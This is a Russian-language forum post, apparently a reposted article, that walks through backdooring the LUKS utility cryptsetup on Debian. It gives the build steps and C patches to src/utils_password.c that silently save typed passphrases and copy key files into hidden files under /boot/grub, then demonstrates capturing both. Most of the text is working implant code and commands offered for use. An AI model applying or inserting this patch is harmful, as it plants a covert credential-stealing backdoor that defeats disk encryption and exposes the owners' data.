[Статья] Бэкдор для LUKS. Как перехватить ключ и пароль от зашифрованного раздела в Linux

battarismos

Assistant moderator
Publicist
Регистрация
07.12.20
Сообщения
57
Лучшие ответы
0
Реакции
20
Баллы
4
LUKS — популярная и распространенная система шифрования дисков. Однако, когда есть доступ к хосту с правами администратора, вполне возможно установить закладку, которая будет перехватывать ключи зашифрованных разделов. В этой статье мы сначала разберемся с LUKS и утилитой cryptsetup, а потом посмотрим, как изменить исходный код таким образом, чтобы можно было перехватывать парольную фразу или ключ для расшифровки раздела.

LUKS — это, по сути, стандарт для шифрования дисков в Linux. Поддерживается до восьми слотов ключей, есть выбор хеш‑функций, алгоритмов и режимов шифрования, есть адаптивный алгоритм выбора количества итераций. Расшифровать данные на диске можно, только имея доступ к секретному ключу и паролю.

Среди других преимуществ LUKS:

  • совместимость через стандартизацию;
  • защита от атак с низкой энтропией;
  • возможность аннулировать секретную фразу.
Ну и распространяется она бесплатно.

НАСТРОЙКА ДИСКА
Все манипуляции мы будем проводить на свежем Debian 10, добавив дополнительный диск для экспериментов с шифрованием.

После установки переходим под root:

su -

Затем утилитой fdisk смотрим названия доступных дисков:

$ fdisk -l

Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors

Disk model: VMware Virtual S

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type

/dev/sda1 * 2048 37750783 37748736 18G 83 Linux

/dev/sda2 37752830 41940991 4188162 2G 5 Extended

/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors

Disk model: VMware Virtual S

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

В своем примере я буду использовать устройство /dev/sdb. Для разметки диска использую утилиту parted, передав имя диска в качестве аргумента:

parted /dev/sdb

Помечаю таблицу разделов как GPT:

(parted) mklabel gpt

И создаю единственный раздел, занимающий весь диск:

(parted) mkpart primary 1 -1

(parted) quit

СБОРКА CRYPTSETUP
Работы с разметкой /dev/sdb закончены. Переходим к сборке cryptsetup.

Если у тебя уже установлен LUKS и ты хочешь модифицировать текущую версию утилиты, используй dpkg-dev. В этом же примере я буду собирать cryptsetup из исходных кодов, скачанных отдельно от системы. У меня версия 2.0.6, так как при сборке последней доступной (2.3.4) были проблемы с версиями библиотек.

Скачиваем, распаковываем и устанавливаем необходимые зависимости:

# cd /root

# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz

# tar xf cryptsetup-2.0.6.tar.xz

# cd cryptsetup-2.0.6

# apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext

Собираем и устанавливаем:

# ./configure

# make && make install

Проверяем установку:

# cryptsetup --version

cryptsetup 2.0.6

Отлично. Теперь создадим зашифрованный раздел с помощью cryptsetup и пароля, вводимого в TTY:

# cryptsetup luksFormat /dev/sdb1

Соглашаемся на форматирование (YES) и вводим пароль для последующего доступа к разделу. Я использую t3st3ncryp7.

Проверяем, все ли удалось.

# cryptsetup isLuks /dev/sdb1 && echo Ok!

Ok!

Все получилось! Подключаем шифрованный раздел, чтобы дальше его монтировать:

# cryptsetup luksOpen /dev/sdb1 db

Вводим парольную фразу (t3st3ncryp7). Чуть позже в этом месте мы перехватим вводимый в TTY пароль.

Форматируем раздел:

# mke2fs -j /dev/mapper/db

И монтируем для работы, например в /mnt:

# mount /dev/mapper/db /mnt && cd /mnt

# echo Hello! > test.txt

# cat test.txt

Hello!

# ls -la

итого 28

drwxr-xr-x 3 root root 4096 ноя 6 06:49 .

drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..

drwx------ 2 root root 16384 ноя 6 06:48 lost+found

-rw-r--r-- 1 root root 7 ноя 6 06:49 test.txt

МОДИФИЦИРУЕМ КОД
На этом этапе мы научились монтировать шифрованный раздел LUKS c использованием парольной фразы. Сейчас мы исправим исходный код, чтобы сохранять не только вводимый пароль, но и случайно сгенерированный файл, который может быть указан в качестве ключа для расшифровки раздела.

Находим код проверки passphrase в файле src/utils_password.c (относительно корня архива cryptsetup-2.0.6.tar.xz). В старых версиях он находился в файле askpass.c.

Для перехвата пароля я изменю функцию crypt_get_key_tty(), отвечающую за ввод пароля из терминала (TTY). В самом конце добавим кусок кода, который кладет переменную pass в нужный нам файл. В качестве пути возьмем /boot/grub/.captured_pass.

Вот примерно 220-я строка файла src/utils_password.c:

*key = pass;

*key_size = strlen(pass);

Добавим

FILE *fp;

fp = fopen("/boot/grub/.captured_pass", "w+");

fputs(pass, fp);

fclose(fp);


Перехват passphrase в utils_password.c
Отлично. Теперь вводимый пароль сохраняется в файле .captured_pass. Пойдем дальше и поможем нашей программе делать «резервную копию» используемого для расшифровки ключа.

Для этого я решил не читать сам ключ, а взять оригинальный путь из функции tools_get_key() и скопировать ключ в нужное место. Для добавления кода ищем примерно 285-ю строку и после:

if (pwquality && !opt_force_password && !key_file && !r)

r = tools_check_pwquality(*key);

Добавляем вызов функции CopyFile(), передав в качестве аргумента путь оригинального файла в переменной key_file и необходимый путь для сохранения. Должно получиться примерно так:

...

if (pwquality && !opt_force_password && !key_file && !r)

r = tools_check_pwquality(*key);

CopyFile(key_file, "/boot/grub/.captured_key");return r;

...


Сохранение ключа в файле utils_password.c
Не забываем добавить саму функцию CopyFile() в самый конец файла после функции tools_write_mk():

int CopyFile(const char* source, const char* destination) {

int input, output;

if ((input = open(source, O_RDONLY)) == -1) {

return -1;

}

if ((output = creat(destination, 0660)) == -1) {

close(input);

return -1;

}

off_t bytesCopied = 0;

struct stat fileinfo = {0};

fstat(input, &fileinfo);

int result = sendfile(output, input, &bytesCopied, fileinfo.st_size);

close(input);

close(output);

return result;

}

Теперь пересобираем наш исправленный вариант cryptsetup c удалением кеша предыдущей сборки:

# pwd

# /root/cryptsetup-2.0.6

make clean && make && make install

Настало время тестов. Для начала проверим перехват пароля уже зашифрованного таким образом диска. Для этого размонтируем его и вернем в первоначальное состояние:

# umount /mnt

# cryptsetup luksClose /dev/mapper/db

Теперь снова расшифровываем и ловим необходимый пароль:

# cryptsetup luksOpen /dev/sdb1 db

Введите парольную фразу для /dev/sdb1:

# mount /dev/mapper/db /mnt

# ls /mnt/

lost+found test.txt

# cat /boot/grub/.captured_pass

t3st3ncryp7

Великолепно! Осталось отформатировать и зашифровать файлом ключом для проверки второго способа перехвата. Генерируем сам ключ:

# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2

Форматируем и шифруем с помощью сгенерированного ключа, предварительно отключив раздел:

# umount /mnt

# cryptsetup luksClose /dev/mapper/db

# cryptsetup luksFormat /dev/sdb1 /root/secret.key

ПРЕДУПРЕЖДЕНИЕ: Устройство /dev/sdb1 уже содержит подпись суперблока «crypto_LUKS».WARNING!

========

Данные на /dev/sdb1 будут перезаписаны без возможности восстановления.

Are you sure? (Type uppercase yes): YES

Подключаем и расшифровываем раздел:

# cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db

Проверяем, перехватился ли ключ.

# ls -la /boot/grub/

итого 2392

drwxr-xr-x 5 root root 4096 ноя 6 07:29 .

drwxr-xr-x 3 root root 4096 ноя 5 05:03 ..

-rw-r----- 1 root root 2048 ноя 6 07:31 .captured_key

-rw-r--r-- 1 root root 11 ноя 6 07:21 .captured_pass

drwxr-xr-x 2 root root 4096 ноя 5 05:04 fonts

-r--r--r-- 1 root root 8463 ноя 5 05:04 grub.cfg

-rw-r--r-- 1 root root 1024 ноя 5 05:04 grubenv

drwxr-xr-x 2 root root 12288 ноя 5 05:04 i386-pc

drwxr-xr-x 2 root root 4096 ноя 5 05:04 locale

-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2

Полный порядок. Проверим, работает ли наш ключ, предварительно дублируя его, иначе при следующей записи он запишет сам себя в 0 байт:

# cp /boot/grub/.captured_key /boot/grub/.captured_key_use

# cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db


Успешный перехват ключаИТОГ
Популярность LUKS делает его интересной мишенью для хакеров. Если существует возможность внедриться в систему, то шифрование может не спасти, что мы сегодня и продемонстрировали.